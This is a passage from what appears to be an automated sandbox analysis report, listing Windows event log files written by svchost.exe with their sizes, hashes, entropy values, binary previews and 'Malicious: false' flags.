SHA-512:	687D850AB0E8E4E75E484ED8E56658749F1331854AD6E28400538F050E3F372CA791023C87CE192D1417C70E63C0911E589AD9AE103CE30BB68A03EED414AABA
Malicious:	false
Preview:	ElfChnk.........@...............@............{..@}....c.....................................................................].................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&................................................b..........%_..........................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88200
Entropy (8bit):	2.3098836212815925
Encrypted:	false
SSDEEP:	384:Hi8EdhNiwCrtrlXbaDQX/5pbiN5p6iN5yYXiN5pZiN5pIiN5pLiN5pZDiN5p+iNS:zEd6uEH6uEgh
MD5:	C17F7ECEC330DAB1DFE3DAA6AD3C44F7
SHA1:	F89E9E59D860DECD7E1FD054C13066BCF43E33DA
SHA-256:	C49D836EA0572D8D48F7FCBB8D92C4949E2B1BF44A009A4A4661519C26253601
SHA-512:	CA0B304C369BF5A7F8AADA07D5AD7CABFEAF74EA77BB264BE02EA01078DDB41E52DF33D2B3EE66CA07E6CA500F6E8C5CA489CCC1710FED46C516008B9C37F8E4
Malicious:	false
Preview:	ElfChnk.'.......1.......'.......1...........`L...N..........................................................................]z.4................^...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................7.......................&...............................................................................**..X...1........H..ZM..........E!&...............................................................L.......b.....!..................H..ZM.....`...V...`...p.......1....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s........J...M..<.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s./.K.e.r.n.e.l.M.o.d.e...!..^7...........j...........................................5.\.D.e.v.i.c.e.\.H.a.r.d.d.i.s.k.V.o.l.u.m.e.3.\.W.i

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.335307911754908
Encrypted:	false
SSDEEP:	384:NpQ/hDGCyCkCzCRCFCaC5ClCWQCyCiECLCtmWCTCYCflCdCEtC0C6gCwzChWCVJY:NpQ/dJjm6EIf8aG3e
MD5:	DEC13E419235D71E66C768AF61C819EB
SHA1:	C2601E3DF8A2D6E230D368CA0ECDD4BD11786D1A
SHA-256:	E9AAB8B817BC34F1B7009A6ABC439ACD1EFC991293198857268699458DF84552
SHA-512:	A78230EF0961E00D27B109F0EEF6DEDB9198759E1858C1DCB8C0E1032D48242C23726BB2931EE62A47A5C4D8434CD3BB537B0E6DF85D62653E3648A49A22AA3D
Malicious:	false
Preview:	ElfChnk.U...............U.............................w..................................................................... j..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................1[..............................&........>......................................y.......................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.470554172113501
Encrypted:	false
SSDEEP:	1536:J0dBaHTmPeG68WdEWx/Tm3vaA1YNNd/vTGMk1o4X7BOBrc3gkWqJfECYqzGDXbJm:J0razmmG/WCWlTYvn1ANxvqMYo4XdOBH
MD5:	7C2BA3824E6FDFDC9B34997831CF5BA4
SHA1:	2F75B2D7953CA1F3F139E66C1C1C785DC11F6F0B
SHA-256:	902EC3153154EDF682DF6D35860B9D42B3C6016F787D02E0CC1D2371F3997192
SHA-512:	4BC9FFCB38302D4764B8632EC360FFDE079EF9818F6128BE07F6E89671A510A32AC93145F3FDB4CDBD6363390EAB157D8B164C2B04B86A36C3B93A08AE7A6B52
Malicious:	false
Preview:	ElfChnk......................................h...i.....n....................................................................n.2.................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..8............C',_...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4692142843323
Encrypted:	false
SSDEEP:	1536:mj9GvEkeLhw6IrKOu4zB5c63VJ7qhFRbw7ZGnCg7HZANhlPqizIUxKu/GFy9pUJF:mj9GvEkeLhw6IrKOu4zB5c63VJ7qhFRp
MD5:	882EF5776EC85740D5E17E47907A8A5D
SHA1:	A9659F309F10AD27550CCCBC7A1E1FD815155CCE
SHA-256:	02675149F56F0D3D965AA88A8D02773CAE09162BF60C64BB850CE9F8DB9E2AD7
SHA-512:	22D3905002411E6802BF28AD44D0921EFD6E2C289739D37DAFB00DF4DF9FFCB79521D64E4AEC5E399B9988931FF36679995F566A1924E48BAC6FAF6998243DC0
Malicious:	false
Preview:	ElfChnk.........#...............#...............(...Ak......................................................................@.TC................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F...............................................................9...&...........................q.......I...................................Q.......**..............t...`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.5283250731919766
Encrypted:	false
SSDEEP:	384:YeUThv707s7a7v7yP7c7V7u7C7Z7C7M7n7K7G7d7Yp7PC787h7H7l73+7L7L7j7s:YeUTRVb
MD5:	9CB77B06F0F33B4BC7A638085998A032
SHA1:	04C57BABBE0B49A1AF70143FD2D9ED9071A14D5C
SHA-256:	AC3F98137ECCA65B1C5EBDF80B02F693E51AEA05B0B033CCB9A91C68778FF751
SHA-512:	488788029BCCEA4A3D2C8ED7492D895469BE0962884BC868F080E9CB479AF7ECDAF46E17FC08C9912B953E614E9DEE673DF994170931A99D9E28248117C6F4F8
Malicious:	false
Preview:	ElfChnk.....................................0y...{.._N......................................................................%.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................-@..............E9..m...................&.......................................................->......................**..8...........D...`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.268440759929627
Encrypted:	false
SSDEEP:	384:whc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauinJ:w6Ovc0S5UyEeDgLvqSX79K
MD5:	3E6903B4F529505011694E65B60A9154
SHA1:	05BC372041FD161154C35F843BFE439066F3A6C6
SHA-256:	E7BB68D43D88025FC2EC47BCA4957A08CEDF53FAA24751D95019CEF867223393
SHA-512:	8C700C45A3A01A79F9E0AB74BE5C0E718E231AAD4395F631A3DADA5C83E937EEBD0804DB0AF340A341440414ACD9293713B9ECB1A074F5E794CA21DFAB8D8CA0
Malicious:	false
Preview:	ElfChnk.........?...............?............q...s..>O......................................................................C..................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................6^..............................................w...............................*...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8178355996317889
Encrypted:	false
SSDEEP:	384:HhGuZumutu4uEu5uOuDuyb2uPu1uuuCeuDu7utu:HD
MD5:	FFB7825ACA321A39E4DD495EC4B7E3BE
SHA1:	A4EBE4617E4B98D93FDE5546893A4D29441B5F44
SHA-256:	F56C28857B0E8D30F34089306B9CCF6655F7ED073412E710AB10D747092DA0D2
SHA-512:	86D7C252C870B9362394CFA35B99AE257228E477A5346D8EF5B91E81F3A78CD008DC52A5F3D12C395EFB715F82B849CAD805AD71CF8C58514614F83EACB4F63E
Malicious:	false
Preview:	ElfChnk......................................"...$....u.....................................................................v..C................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......>...............................................................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.075909180265887
Encrypted:	false
SSDEEP:	384:NhzAsAvAaAmANSAbNAQAfCHA+AHchArAXATAvAjALATABAtGABS78jAOAqA4eAEp:NGCs2k64i/tpqA
MD5:	3A282029B03747ACB9F0A3496C717BD9
SHA1:	705490A345F883E024CC1641981A90DA6EDADCF5
SHA-256:	2A94A3FFC2481031F58367AB9F99D7972299D7F537520D2A6318B1BAA6B158F8
SHA-512:	F98AEB35B035B10B5C3CCA876E445D502AD84F66BE857B17EFE715983F9834ECAEDCCE5FF03914853115DE1644E9541FF111BD79A3607FA707735546A0C04AD4
Malicious:	false
Preview:	ElfChnk.....................................H.......}{........................................................................dE................<.......................d...=...........................................................................................................................f...............?...........................m...................M...F............................+.......................%..............&...............................................................................**..............\|..3_...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.162414582102809
Encrypted:	false
SSDEEP:	384:khVpW2pPkpPrpPepP1pP4pPHpPypPxpPYpPDpPypPlpPct1pPnpPsLpPAWpPQpPT:k+tZb
MD5:	0D76B94CB673E07C9297775F6635BB30
SHA1:	42037C8D133B4CD395BA6BDC1108C30882248866
SHA-256:	7133E41E960AD5F46294DCBDC3FFE8CFCFD120213DF680017947924D3C013A8B
SHA-512:	9E5D104332631EDBCB8AF55BCEA2CD7B7EB34A0FE1DF226579E005A775840CDF05C86CCBEF902730138ED1A27347B4FB070FAF37046320740009CC11BAC11C33
Malicious:	false
Preview:	ElfChnk.........'...............'...................u..4.................................................................... ...........................................B...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**...............h{.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.217583590897775
Encrypted:	false
SSDEEP:	384:3hUIpGcRpDvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBD:3YDoh1VLBCVz6t0o3ZeF9UBlG
MD5:	C5BB06A11AA8E33C5D2512146A14F414
SHA1:	BCA1D0ABD07806B4DDB34B4483B04B57A840CC26
SHA-256:	5A42653C87D73E415D15B08AE3511312F991238224022920D85CDEE43316C64A
SHA-512:	8FE28DAC0CEB3BBB462390492FA7623077448CCD58E04EE38C6CE9FF92FAD6647176DD61A628A4C03C3C5DEE9912D67375AE77865DE52D23B2B253C01C43FC86
Malicious:	false
Preview:	ElfChnk.........................................P......a.................................................................... ..................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..............T.0.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1666137709834492
Encrypted:	false
SSDEEP:	384:uwhwCCRzCaCkClCzCYC/CyCVCGCMCvCzCw9CdqCVCICsC:uwKFT
MD5:	88E290384531AC91E63C802B158E726D
SHA1:	2AFD218C14B290A33DC27B0BDBA87AADFD428D9B
SHA-256:	36B48D00709B0F3B917927DE97D395C4785F6A7B61CCC5C72C799C4521FD9D97
SHA-512:	7969E4BDC2659D8412FD187135AB04B329AE134E2A5E386D86BA0E490F979621DCE05DF1118FA31987CB5FD27CB964773F4A67D6884002F7E9579A752E5A2AAD
Malicious:	false
Preview:	ElfChnk.....................................84..p6..........................................................................Pl..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................v)........................................................................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94816
Entropy (8bit):	4.689148126102424
Encrypted:	false
SSDEEP:	768:4uqAyyAy4QtGRAyumjXAywtLVuqAyyAy4QtGRAyFdUV:d4Qdjq4QSdK
MD5:	0CA3CD26D58E2470AC042BC775DF3728
SHA1:	DE049F60D03ABC2FA68ABE02C76030597B14AC14
SHA-256:	6D075BEC834EE48ADD53D8152E84574D77DFE621C3771FEB25881E726AAE356F
SHA-512:	A7972421B4CA8E3305A2911511CBF15832C0D266D5FFF1DCBA6E395CB27A6F1259C14159F5EB7E836F9B372127180199B9AE3052C698A2D73508FF05F788D046
Malicious:	false
Preview:	ElfChnk..3.......3.......3.......3...........L...O..s..................................................................................................................<...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...........................M...................................................**.......3.......S..ZM..........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79024
Entropy (8bit):	1.824304466615825
Encrypted:	false
SSDEEP:	384:yFhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmIUmxjUmLUmNUphL6UsE0ZUV:2Y7LR4Y7LR
MD5:	B9D17E91081C183655469CCB37BC6241
SHA1:	4DF3824B189BAA832D075FBB9C3F5E3D0A0F3086
SHA-256:	2EEE5EE50E29361164735B22F95FCDC6CD57B5FA8F57245375C7DD3F363B5057
SHA-512:	18213E725E38C2FC4356E17AFDCCA99D299FA618FCBB90EE90433128203043D22AD3E72C9868327A69EE8CB173BF898EE8360703941CFADC0F5722FBF7037398
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk......................................1..04.....h........................................................................................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&......................................................................................................................*..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20421823963440697
Encrypted:	false
SSDEEP:	48:MxAWurP+yQNRBEZWTENO4bhBkcoP/6zk:UNVaO8McoP/6zk
MD5:	4F34FFD0A10F87B4BC8B0274329610DC
SHA1:	3B087FF2885005FA5AB3119FE6FDB3322ADA6D25
SHA-256:	9AB99808207007F63C90DF3F9DC54C3DDCBA7F538FE5B58BEA8E58BD0E0BC157
SHA-512:	3432CD3F6091C787EF5264E24FE587AAE1916952B8750942EAE2AC9C84428AB71C123AFE0E9C0657EDC304AE736CA5D3546DFA17BBAF90CC92ABD52C3094BAB0
Malicious:	false
Preview:	ElfChnk.............................................~r........................................................................_................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**.................4a...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.0934111022900845
Encrypted:	false
SSDEEP:	384:phjivnniDiiuXieuietio0i7riTKhiIViOhin5ibaifiWipiUiKijiTVijiHiBRY:pon6ufC/hCI4MWs8PM9QSp
MD5:	C03DC232AFCDF6316B6CC7D1D5266423
SHA1:	8B90D640BB1B09E8C61117DE6B00B93CB1FE69A0
SHA-256:	198FDBBBC7444C323E7DBFB5B6D5B6AB870587FE7B740A05C22C6821B0508D16
SHA-512:	192E77738FC7A6493DFA22C5A56EA01E4A502219756578AE772C4FB0A1074617A21523D1029C6C9DDF15798D0968A0C14C8B723EAB0B91BD01F9967540C04DE9
Malicious:	false
Preview:	ElfChnk.y...............y....................x...z..D.......................................................................Hu...................#..a.......................=.......................#...................................................................................................f...............?................'......P.......................M...F....................................................................@...................#..................................w#.......'..............**......y........`0.Y...........g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Time-Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	72472
Entropy (8bit):	2.439060786996042
Encrypted:	false
SSDEEP:	384:Vpb5pgipPpQfjpYpK4p6ip8Ghecp/PpohCpPpaLpypDpWpywp7pdKpApWZqhpaed:ANRTgshamoZqP+INFanNRT
MD5:	36BB122FDE2A083A8B7C9B7A12C596F1
SHA1:	0E4E214E475BD43F12913BC2D11C1E8687DE704B
SHA-256:	3C80C7CA594DF84263FF62667BB0BBBAB5163CBB0742969E8D153CB96430A09F
SHA-512:	164E55D733816702DC4AF5CACF1E60279BC6FBE8C33558EF6B4BA97BC7E0C21C5A776377F0E1E23D22AB3A12318318C116526B04A67559D63C481901D4F7CA1C
Malicious:	false
Preview:	ElfChnk......................................r...t...&Q.....................................................................B..................6...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................y...........&........0...........%..........................a!..........!F........................................%!..ZM..........E!.0..............................................................<.......T...A.!................@%!..ZM.....`...."..`...h...x........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.T.i.m.e.-.S.e.r.v.i.c.e.......SN.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.T.i.m.e.-.S.e.r.v.i.c.e./.O.p.e.r.a.t.i.o.n.a.l....%.....................................................F..............*..x..............ZM..........E!.0....................................

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3919409988581557
Encrypted:	false
SSDEEP:	768:SiasFkawaTakafalaxaUasa/amadaiawaDa3ajaXavaDaLavabaTaLaTa7aTavaT:vF
MD5:	E8DFBF8E4A0A3BE1855F63BB88FEA9B4
SHA1:	5531DE053D5A619ED87057D1B9024548A1618205
SHA-256:	F3FA667B3C12A8277C7045B7AC9F5F1EC5DB05464BCFDC0BB2463A4DFF5E28AD
SHA-512:	3F2328A635CF8D7FCF16152E8B3BD5CE530596AB8D4E86ABD1BD128AED95615DE806D99FDCB40CA95474876C41BED78F46CFA04F3D4C159240A375BB05F7A551
Malicious:	false
Preview:	ElfChnk.........@...............@...............h...zg.b.....................................................................;..................h...........................=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...........................................A...................................**..P.............C"a...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4157482482643835
Encrypted:	false
SSDEEP:	384:8haXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJgXJRpXJBgXJQXJBvXJnXJSc:8Q0yUkNYwD8imLEoRfBoYb5GO
MD5:	A886E83D1948FFB2BF4A2B744DDCCBD3
SHA1:	0074C53E8984FB0024DE0485447D3E1081B34D0B
SHA-256:	6DD70CE24E770699A142E13D62B090F64E00CD0A8501FC2D31E0ED5F9DFAB004
SHA-512:	3263F89608AEB4140553E587A3946E352391DAAC7DF85ABF0358A39B45103655DAE1DE29616A71142C4BB42FD1C0273F3E3B2F6900CCDE672F36ADBB3F7629D1
Malicious:	false
Preview:	ElfChnk......................................D...G..B.f......................................................................0.................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........3..................................................C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.342266575776689
Encrypted:	false
SSDEEP:	384:Chbm8mJmAwmsmkmtmZjm9mEJmSmSgmMmJmyFmgmPm4mOmdm9mHbkmzm7m6mBmdmv:CA74DcxI1c8PF
MD5:	302AE7C3FB3FBC33D19DBFB4CA97D867
SHA1:	86165BE8A181F1DE44CC86F75E36890C0379AB94
SHA-256:	1183791BE47DD2268E48827BC2B2F8D2F50C6265AF23904E15E35A8A4715B3DB
SHA-512:	AEE86973AE3C7844DF4EAA3406ECCF1AD59EF458F1623A35B84246B26C83229441B76C64A2502D2F9EF298DAF450D0069C6180A99B041A1D2B9DAD57B6F8A816
Malicious:	false
